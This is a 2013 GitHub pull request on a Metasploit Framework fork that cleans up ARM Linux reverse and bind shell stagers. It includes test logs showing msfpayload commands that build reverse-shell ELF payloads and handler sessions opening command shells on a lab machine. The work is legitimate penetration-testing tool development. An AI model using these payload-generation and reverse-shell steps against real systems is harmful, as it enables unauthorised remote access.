dcbz/metasploit-framework — pull request #1 by jvazquez-r7 (2013-05-29 19:13:36+00:00)
Title: ARM stagers cleanup

Hi @dcbz,

This pull request tries to clean up https://github.com/rapid7/metasploit-framework/pull/1879. It's just adding your source code commented, plus small fixes in the stagers.

Please @dcbz feel free to review, comment, test, fix, discuss any point, and once you feel comfortable with the cleanup merge it into your repo. The original https://github.com/rapid7/metasploit-framework/pull/1879 will be automatically updated and ready to merge if @jlee-r7 agrees.

Testing after cleanup:

* Using the source code (reverse)

```
juan@arm:~$ as stager_sock_reverse.s -o stager_sock_reverse.o
juan@arm:~$ ld stager_sock_reverse.o -o stager_sock_reverse
juan@arm:~$ ./stager_sock_reverse

msf exploit(handler) > set payload linux/armle/shell/reverse_tcp
payload => linux/armle/shell/reverse_tcp
shmsf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/armle/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.204
[*] Command shell session 4 opened (192.168.172.1:4444 -> 192.168.172.204:32887) at 2013-05-29 13:42:10 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
^C
Abort session 4? [y/N] y

```

* Using the source code (bind stager)

```
juan@arm:~$ as stager_sock_bind.s -o stager_sock_bind.o
juan@arm:~$ ld stager_sock_bind.o -o stager_sock_bind
juan@arm:~$ ./stager_sock_bind

msf exploit(handler) > set payload linux/armle/shell/bind_tcp
payload => linux/armle/shell/bind_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/armle/shell/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > set rhost 192.168.172.204
rhost => 192.168.172.204
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.204
[*] Command shell session 1 opened (192.168.172.1:52071 -> 192.168.172.204:4444) at 2013-05-29 13:25:30 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

```

* Using msfpayload (reverse)

```

$ ./msfpayload linux/armle/shell/reverse_tcp LPORT=4444 LHOST=192.168.172.1 X > /tmp/reverse_armle.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/armle/shell/reverse_tcp
Length: 200
Options: {"LPORT"=>"4444", "LHOST"=>"192.168.172.1"}

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/armle/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.204
[*] Command shell session 6 opened (192.168.172.1:4444 -> 192.168.172.204:32889) at 2013-05-29 13:55:27 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

```

* Using msfpayload (bind)

```

Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/armle/shell/bind_tcp LPORT=4444 X > /tmp/bind_armle.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/armle/shell/bind_tcp
Length: 232
Options: {"LPORT"=>"4444"}

payload => linux/armle/shell/bind_tcp
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting stage length value...(72 bytes)
[*] Sending stage (72 bytes) to 192.168.172.204
[*] Command shell session 5 opened (192.168.172.1:52281 -> 192.168.172.204:4444) at 2013-05-29 13:48:55 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
^C
Abort session 5? [y/N] y

```